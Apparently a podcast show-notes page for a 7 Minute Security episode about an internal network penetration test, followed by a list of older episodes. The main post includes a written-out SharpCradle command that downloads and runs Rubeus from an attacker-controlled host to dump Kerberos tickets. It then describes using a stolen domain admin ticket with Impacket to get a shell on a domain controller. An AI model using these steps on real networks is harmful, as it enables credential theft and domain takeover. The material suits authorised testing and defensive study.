7MS #442: Tales of Internal Network Pentest Pwnage - Part 23
7 Minute Security19 Marras 2020

7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features:

  • Great blue team tools alerting our customer to a lot of the stuff we were doing
  • An EDR that we tried to beat up (but it beat us up instead)
  • SharpGPOAbuse which we talked about extensively last week
  • Separation of "everyday" accounts from privileged accounts
  • Multi-factor authentication bypass!
  • Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation.

The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds:

SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap

This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with:

echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb

Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight.

We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!

Jaksot(682)

7MS #26: The Importance of Training and Awareness (audio)

7MS #26: The Importance of Training and Awareness (audio)

Training and awareness – specifically as it relates to infosec – is something companies can’t spend enough $ on. But from my experience, not enough of them are making this a front-burner priority. This episode talks about one topic I’m particularly passionate about. I call it “How not to click on bad stuff.” Download: 7MS #26:…

13 Syys 20147min

7MS #25: Writing Better Pentest Reports (audio)

7MS #25: Writing Better Pentest Reports (audio)

This episode talks about some pointers, tools and tips towards writing better pentest reports. Download: 7MS #25: Writing Better Pentest Reports (audio)

23 Elo 20148min

7MS #24: Why Wireless Scares Me (audio)

7MS #24: Why Wireless Scares Me (audio)

This episode is all about why you should (probably not) use wireless hotspots, and keeping yourself safe in general when surfing the Web. Download: 7MS #24: Why Wireless Scares Me (audio)

16 Elo 20147min

7MS #23: OSCP – part 2 (audio)

7MS #23: OSCP – part 2 (audio)

In this episode I talk more about my adventures with OSCP and Offensive Security! . Download: 7MS #23: OSCP – part 2 (audio) Show notes: I recommend documenting ALL the exercises in the PDF. My understanding is that extra effort could be rewarded if you don’t do so hot on your final exam. Buffer overflows make…

9 Elo 20147min

7MS #22: Phishing with Black Squirrel (audio)

7MS #22: Phishing with Black Squirrel (audio)

In this episode I talk about using Black Squirrel to launch phishing campaigns! Download: 7MS #22: Phishing with Black Squirrel (audio) Show notes: Security Weekly is an excellent podcast/resource. Devour it regularly. Black Squirrel is the main tool discussed in this podcast. I’ve been using it for phishing campaigns and it’s been excellent in that capacity.

27 Heinä 20147min

7MS #21: OSCP – part 1 (audio)

7MS #21: OSCP – part 1 (audio)

In this episode I talk about my venture into Offensive Security! . Download: 7MS #21: OSCP – part 1 (audio) Show notes: It’s official – I have a death wish and have started the OSCP training. This episode is the first of what I hope will be a multi-part, spoiler-free series about my experience with OSCP. With…

20 Heinä 20147min

7MS #20: Moving from GoDaddy to DNSimple (audio)

7MS #20: Moving from GoDaddy to DNSimple (audio)

In this episode I talk about why I’m pulling my domains from GoDaddy, and making DNSimple their new home. Download: 7MS #20: Moving from GoDaddy to DNSimple (audio) Show notes: The service I’m talking about in this podcast is DNSimple. Troy Hunt‘s humorous/awesome article pushed me over the edge and convinced me to give DNSimple a…

15 Heinä 20147min

7MS #19: Kioptrix! (audio)

7MS #19: Kioptrix! (audio)

In this episode I talk about a deliciously vulnerable series of VMs called Kioptrix, and how you can use them to sharpen your pentesting skills. Download: 7MS #19: Kioptrix! (audio) Show notes: The Kioptrix series of VMs is here: http://www.kioptrix.com/blog/test-page/ and here: http://vulnhub.com/?q=kioptrix&sort=date-des&type=vm. Got approved for my OSCP training and I start it in a few…

5 Heinä 20147min

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